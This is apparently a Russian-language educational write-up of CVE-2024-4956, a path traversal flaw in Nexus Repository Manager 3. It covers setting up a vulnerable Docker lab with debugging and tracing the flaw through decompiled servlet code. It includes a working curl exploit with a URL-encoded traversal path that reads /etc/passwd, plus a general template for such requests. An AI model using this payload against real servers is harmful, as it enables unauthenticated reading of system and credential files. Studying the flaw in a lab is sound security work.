CVE-2024-4956

CVE-2024-4956

@Zenmovie

Дисклеймер

Данный пост был написан только для образовательных целей.


CVE-2024-4956 - Unauthenticated Path Traversal in Nexus Repository Manager 3


Path traversal был обнаружен в Nexus Repository Manager 3 в версиях до 3.68.1. Эта уязвимость позволяет злоумышленнику создать URL-адрес для загрузки системных файлов за пределами приложения Nexus Repository без какой-либо аутентификации.


Эксплуатация достаточна проста:

curl http(s)://domain/{URL-encode всех символов}


Сначала предлагаю развернуть тестовый уязвимый стенд

Для этого скачиваем docker-образ

docker pull sonatype/nexus3:3.68.0-java8

Поднимаем docker и пробрасываем порт

docker run -p 8081:8081 --name Zenmovie sonatype/nexus3:3.68.0-java8


docker-контейнер поднялся
Локальная эксплуатация уязвимости

Здесь находится оригинальный более или менее ресерч этой уязвимости


Разбор уязвимости

Поднимаем тестовый стенд с отладкой

docker run -d -p 8081:8081 -p 5005:5005 --name lamerZen -e INSTALL4J_ADD_VM_PARAMS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" sonatype/nexus3:3.68.0-java8
Поднятый docker-контейнер для разбора уязвимости

Создаем директорию, копируем в нее сурцы и в них ищем все .jar файлы, добавляем их в отдельную директорию.

mkdir /opt/lamerZen
cd /opt/lamerZen
docker cp {Имя_контейнера}:/opt/sonatype/nexus .
mkdir all-lib
find . -name "*.jar" -exec cp {} all-lib/ \;
Копирование исходников


После этого создаем в IntelliJ Idea Java-проект и в настройках структуры проекта добавляем в библиотеки найденные файлы

Добавление библиотек

Настраиваем IntelliJ Idea для отладки

Настройки IntelliJ Idea для отладки контейнера

Находим nexus-base-3.68.0-04.jar в левой части панели и открываем org.sonatype.nexus.internal.webresources.WebResourceServiceImpl.class. Ставим точку отладки на 98 строке в методе getResource()

После этого выполняем команду в терминале

curl http://lamerZen:8081/%2F%2F%2F%2E%2E%2F%2F%2E%2F%2F%2E%2E%2F%2F%2F%2E%2E%2F%2F%2E%2E%2F%2E%2F%65%74%63%2F%70%61%73%73%77%64
Срабатывание точки остановки

Спустя несколько шагов (нажатие клавиши F8) видно, что функция doGet() WebResource вызывает метод getResource() в WebResourceServiceImpl

Уязвимый участок кода
Уязвимый участок кода
// org/sonatype/nexus/internal/webresources/WebResourceServlet.class

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    // path = ///..//.//..///..//.././etc/passwd
    WebResource resource = this.webResources.getResource(path);
    
    // resource.url = "file:/opt/sonatype/nexus/public////..//.//..///..//.././etc/passwd"
    
    if (resource == null) {
        if (this.webResources.getResource(path + "/index.html") != null) {
            String location = String.format("%s%s/", BaseUrlHolder.getRelativePath(), path);
            log.debug("Redirecting: {} -> {}", path, location);
            response.sendRedirect(location);
        } else {
            response.sendError(404);
        }

    } else { // Resource is served
        this.serveResource(resource, request, response);
    }

}

Путь здесь не должен заканчиваться на /, чтобы избежать добавления index.html. Из-за того что ресурс не является нулевым, будет выполнятся условие else. Попадая в else значение ресурса будет file:/opt/sonatype/nexus/public////..//.//..///..//.././etc/passwd

Или же file:///etc/passwd


Материал написан для: https://t.me/LamerZen

Report Page